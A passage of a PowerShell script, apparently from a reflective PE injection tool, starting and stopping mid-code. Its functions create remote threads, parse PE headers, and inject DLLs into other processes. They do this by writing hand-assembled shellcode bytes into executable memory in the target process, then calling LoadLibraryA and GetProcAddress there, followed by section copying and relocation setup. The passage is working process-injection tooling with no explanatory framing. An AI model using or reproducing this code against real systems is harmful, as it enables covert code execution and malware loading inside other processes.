  927.         $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
  928.         $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  929.         if (($Result -eq $false) -or ($ErrorCode -ne 0))
  930.         {
  931.  
  932.         }
  933.  
  934.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
  935.     }
  936.  
  937.  
  938.     Function Create-RemoteThread
  939.     {
  940.         Param(
  941.         [Parameter(Position = 1, Mandatory = $true)]
  942.         [IntPtr]
  943.         $ProcessHandle,
  944.  
  945.         [Parameter(Position = 2, Mandatory = $true)]
  946.         [IntPtr]
  947.         $StartAddress,
  948.  
  949.         [Parameter(Position = 3, Mandatory = $false)]
  950.         [IntPtr]
  951.         $ArgumentPtr = [IntPtr]::Zero,
  952.  
  953.         [Parameter(Position = 4, Mandatory = $true)]
  954.         [System.Object]
  955.         $Win32Functions
  956.         )
  957.  
  958.         [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
  959.  
  960.         $OSVersion = [Environment]::OSVersion.Version
  961.  
  962.         if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
  963.         {
  964.  
  965.             $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
  966.             $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  967.             if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  968.             {
  969.                 Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
  970.             }
  971.         }
  972.  
  973.         else
  974.         {
  975.  
  976.             $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
  977.         }
  978.  
  979.         if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  980.         {
  981.             Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
  982.         }
  983.  
  984.         return $RemoteThreadHandle
  985.     }
  986.  
  987.  
  988.  
  989.     Function Get-ImageNtHeaders
  990.     {
  991.         Param(
  992.         [Parameter(Position = 0, Mandatory = $true)]
  993.         [IntPtr]
  994.         $PEHandle,
  995.  
  996.         [Parameter(Position = 1, Mandatory = $true)]
  997.         [System.Object]
  998.         $Win32Types
  999.         )
  1000.  
  1001.         $NtHeadersInfo = New-Object System.Object
  1002.  
  1003.  
  1004.         $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
  1005.  
  1006.  
  1007.         [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
  1008.         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  1009.         $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
  1010.  
  1011.  
  1012.         if ($imageNtHeaders64.Signature -ne 0x00004550)
  1013.         {
  1014.             throw "Invalid IMAGE_NT_HEADER signature."
  1015.         }
  1016.  
  1017.         if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  1018.         {
  1019.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
  1020.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
  1021.         }
  1022.         else
  1023.         {
  1024.             $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
  1025.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  1026.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
  1027.         }
  1028.  
  1029.         return $NtHeadersInfo
  1030.     }
  1031.  
  1032.  
  1033.  
  1034.     Function Get-PEBasicInfo
  1035.     {
  1036.         Param(
  1037.         [Parameter( Position = 0, Mandatory = $true )]
  1038.         [Byte[]]
  1039.         $PEBytes,
  1040.  
  1041.         [Parameter(Position = 1, Mandatory = $true)]
  1042.         [System.Object]
  1043.         $Win32Types
  1044.         )
  1045.  
  1046.         $PEInfo = New-Object System.Object
  1047.  
  1048.  
  1049.         [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
  1050.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
  1051.  
  1052.  
  1053.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
  1054.  
  1055.  
  1056.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
  1057.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
  1058.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1059.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
  1060.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
  1061.  
  1062.  
  1063.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
  1064.  
  1065.         return $PEInfo
  1066.     }
  1067.  
  1068.  
  1069.  
  1070.  
  1071.     Function Get-PEDetailedInfo
  1072.     {
  1073.         Param(
  1074.         [Parameter( Position = 0, Mandatory = $true)]
  1075.         [IntPtr]
  1076.         $PEHandle,
  1077.  
  1078.         [Parameter(Position = 1, Mandatory = $true)]
  1079.         [System.Object]
  1080.         $Win32Types,
  1081.  
  1082.         [Parameter(Position = 2, Mandatory = $true)]
  1083.         [System.Object]
  1084.         $Win32Constants
  1085.         )
  1086.  
  1087.         if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
  1088.         {
  1089.             throw 'PEHandle is null or IntPtr.Zero'
  1090.         }
  1091.  
  1092.         $PEInfo = New-Object System.Object
  1093.  
  1094.  
  1095.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
  1096.  
  1097.  
  1098.         $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
  1099.         $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
  1100.         $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
  1101.         $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
  1102.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1103.  
  1104.         if ($PEInfo.PE64Bit -eq $true)
  1105.         {
  1106.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
  1107.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1108.         }
  1109.         else
  1110.         {
  1111.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
  1112.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1113.         }
  1114.  
  1115.         if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
  1116.         {
  1117.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
  1118.         }
  1119.         elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
  1120.         {
  1121.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
  1122.         }
  1123.         else
  1124.         {
  1125.             Throw "PE file is not an EXE or DLL"
  1126.         }
  1127.  
  1128.         return $PEInfo
  1129.     }
  1130.  
  1131.  
  1132.     Function Import-DllInRemoteProcess
  1133.     {
  1134.         Param(
  1135.         [Parameter(Position=0, Mandatory=$true)]
  1136.         [IntPtr]
  1137.         $RemoteProcHandle,
  1138.  
  1139.         [Parameter(Position=1, Mandatory=$true)]
  1140.         [IntPtr]
  1141.         $ImportDllPathPtr
  1142.         )
  1143.  
  1144.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1145.  
  1146.         $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1147.         $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
  1148.         $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1149.         if ($RImportDllPathPtr -eq [IntPtr]::Zero)
  1150.         {
  1151.             Throw "Unable to allocate memory in the remote process"
  1152.         }
  1153.  
  1154.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1155.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
  1156.  
  1157.         if ($Success -eq $false)
  1158.         {
  1159.             Throw "Unable to write DLL path to remote process memory"
  1160.         }
  1161.         if ($DllPathSize -ne $NumBytesWritten)
  1162.         {
  1163.             Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1164.         }
  1165.  
  1166.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1167.         $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA")
  1168.  
  1169.         [IntPtr]$DllAddress = [IntPtr]::Zero
  1170.  
  1171.  
  1172.         if ($PEInfo.PE64Bit -eq $true)
  1173.         {
  1174.  
  1175.             $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1176.             if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
  1177.             {
  1178.                 Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
  1179.             }
  1180.  
  1181.  
  1182.  
  1183.             $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1184.             $LoadLibrarySC2 = @(0x48, 0xba)
  1185.             $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
  1186.             $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1187.  
  1188.             $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
  1189.             $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1190.             $SCPSMemOriginal = $SCPSMem
  1191.  
  1192.             Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
  1193.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
  1194.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
  1195.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1196.             Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
  1197.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
  1198.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
  1199.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1200.             Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
  1201.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
  1202.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
  1203.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1204.             Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
  1205.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
  1206.  
  1207.  
  1208.             $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1209.             if ($RSCAddr -eq [IntPtr]::Zero)
  1210.             {
  1211.                 Throw "Unable to allocate memory in the remote process for shellcode"
  1212.             }
  1213.  
  1214.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1215.             if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1216.             {
  1217.                 Throw "Unable to write shellcode to remote process memory."
  1218.             }
  1219.  
  1220.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1221.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1222.             if ($Result -ne 0)
  1223.             {
  1224.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1225.             }
  1226.  
  1227.  
  1228.             [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1229.             $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1230.             if ($Result -eq $false)
  1231.             {
  1232.                 Throw "Call to ReadProcessMemory failed"
  1233.             }
  1234.             [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1235.  
  1236.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1237.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1238.         }
  1239.         else
  1240.         {
  1241.             [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
  1242.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1243.             if ($Result -ne 0)
  1244.             {
  1245.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1246.             }
  1247.  
  1248.             [Int32]$ExitCode = 0
  1249.             $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
  1250.             if (($Result -eq 0) -or ($ExitCode -eq 0))
  1251.             {
  1252.                 Throw "Call to GetExitCodeThread failed"
  1253.             }
  1254.  
  1255.             [IntPtr]$DllAddress = [IntPtr]$ExitCode
  1256.         }
  1257.  
  1258.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1259.  
  1260.         return $DllAddress
  1261.     }
  1262.  
  1263.  
  1264.     Function Get-RemoteProcAddress
  1265.     {
  1266.         Param(
  1267.         [Parameter(Position=0, Mandatory=$true)]
  1268.         [IntPtr]
  1269.         $RemoteProcHandle,
  1270.  
  1271.         [Parameter(Position=1, Mandatory=$true)]
  1272.         [IntPtr]
  1273.         $RemoteDllHandle,
  1274.  
  1275.         [Parameter(Position=2, Mandatory=$true)]
  1276.         [IntPtr]
  1277.         $FunctionNamePtr,
  1278.  
  1279.        [Parameter(Position=3, Mandatory=$true)]
  1280.        [Bool]
  1281.        $LoadByOrdinal
  1282.         )
  1283.  
  1284.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1285.  
  1286.         [IntPtr]$RFuncNamePtr = [IntPtr]::Zero
  1287.  
  1288.        if (-not $LoadByOrdinal)
  1289.        {
  1290.             $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
  1291.  
  1292.  
  1293.             $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
  1294.             $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1295.             if ($RFuncNamePtr -eq [IntPtr]::Zero)
  1296.             {
  1297.                 Throw "Unable to allocate memory in the remote process"
  1298.             }
  1299.  
  1300.             [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1301.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
  1302.             if ($Success -eq $false)
  1303.             {
  1304.                 Throw "Unable to write DLL path to remote process memory"
  1305.             }
  1306.             if ($FunctionNameSize -ne $NumBytesWritten)
  1307.             {
  1308.                 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1309.             }
  1310.        }
  1311.  
  1312.        else
  1313.        {
  1314.            $RFuncNamePtr = $FunctionNamePtr
  1315.        }
  1316.  
  1317.  
  1318.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1319.         $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress")
  1320.  
  1321.  
  1322.  
  1323.         $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1324.         if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
  1325.         {
  1326.             Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
  1327.         }
  1328.  
  1329.  
  1330.  
  1331.  
  1332.         [Byte[]]$GetProcAddressSC = @()
  1333.         if ($PEInfo.PE64Bit -eq $true)
  1334.         {
  1335.             $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1336.             $GetProcAddressSC2 = @(0x48, 0xba)
  1337.             $GetProcAddressSC3 = @(0x48, 0xb8)
  1338.             $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
  1339.             $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1340.         }
  1341.         else
  1342.         {
  1343.             $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1344.             $GetProcAddressSC2 = @(0xb9)
  1345.             $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
  1346.             $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
  1347.             $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1348.         }
  1349.         $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
  1350.         $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1351.         $SCPSMemOriginal = $SCPSMem
  1352.  
  1353.         Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
  1354.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
  1355.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
  1356.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1357.         Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
  1358.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
  1359.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
  1360.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1361.         Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
  1362.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
  1363.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
  1364.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1365.         Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
  1366.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
  1367.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
  1368.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1369.         Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
  1370.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
  1371.  
  1372.         $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1373.         if ($RSCAddr -eq [IntPtr]::Zero)
  1374.         {
  1375.             Throw "Unable to allocate memory in the remote process for shellcode"
  1376.         }
  1377.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1378.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1379.         if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1380.         {
  1381.             Throw "Unable to write shellcode to remote process memory."
  1382.         }
  1383.  
  1384.         $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1385.         $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1386.         if ($Result -ne 0)
  1387.         {
  1388.             Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1389.         }
  1390.  
  1391.  
  1392.         [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1393.         $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1394.         if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
  1395.         {
  1396.             Throw "Call to ReadProcessMemory failed"
  1397.         }
  1398.         [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1399.  
  1400.  
  1401.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1402.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1403.  
  1404.        if (-not $LoadByOrdinal)
  1405.        {
  1406.            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1407.        }
  1408.  
  1409.         return $ProcAddress
  1410.     }
  1411.  
  1412.  
  1413.     Function Copy-Sections
  1414.     {
  1415.         Param(
  1416.         [Parameter(Position = 0, Mandatory = $true)]
  1417.         [Byte[]]
  1418.         $PEBytes,
  1419.  
  1420.         [Parameter(Position = 1, Mandatory = $true)]
  1421.         [System.Object]
  1422.         $PEInfo,
  1423.  
  1424.         [Parameter(Position = 2, Mandatory = $true)]
  1425.         [System.Object]
  1426.         $Win32Functions,
  1427.  
  1428.         [Parameter(Position = 3, Mandatory = $true)]
  1429.         [System.Object]
  1430.         $Win32Types
  1431.         )
  1432.  
  1433.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1434.         {
  1435.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1436.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1437.  
  1438.  
  1439.             [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445.             $SizeOfRawData = $SectionHeader.SizeOfRawData
  1446.  
  1447.             if ($SectionHeader.PointerToRawData -eq 0)
  1448.             {
  1449.                 $SizeOfRawData = 0
  1450.             }
  1451.  
  1452.             if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
  1453.             {
  1454.                 $SizeOfRawData = $SectionHeader.VirtualSize
  1455.             }
  1456.  
  1457.             if ($SizeOfRawData -gt 0)
  1458.             {
  1459.                 Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
  1460.                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
  1461.             }
  1462.  
  1463.  
  1464.             if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
  1465.             {
  1466.                 $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
  1467.                 [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
  1468.                 Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
  1469.                 $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
  1470.             }
  1471.         }
  1472.     }
  1473.  
  1474.  
  1475.     Function Update-MemoryAddresses
  1476.     {
  1477.         Param(
  1478.         [Parameter(Position = 0, Mandatory = $true)]
  1479.         [System.Object]
  1480.         $PEInfo,
  1481.  
  1482.         [Parameter(Position = 1, Mandatory = $true)]
  1483.         [Int64]
  1484.         $OriginalImageBase,
  1485.  
  1486.         [Parameter(Position = 2, Mandatory = $true)]
  1487.         [System.Object]
  1488.         $Win32Constants,
  1489.  
  1490.         [Parameter(Position = 3, Mandatory = $true)]
  1491.         [System.Object]
  1492.         $Win32Types
  1493.         )
  1494.  
  1495.         [Int64]$BaseDifference = 0
  1496.         $AddDifference = $true
  1497.         [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1498.  
  1499.  
  1500.         if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
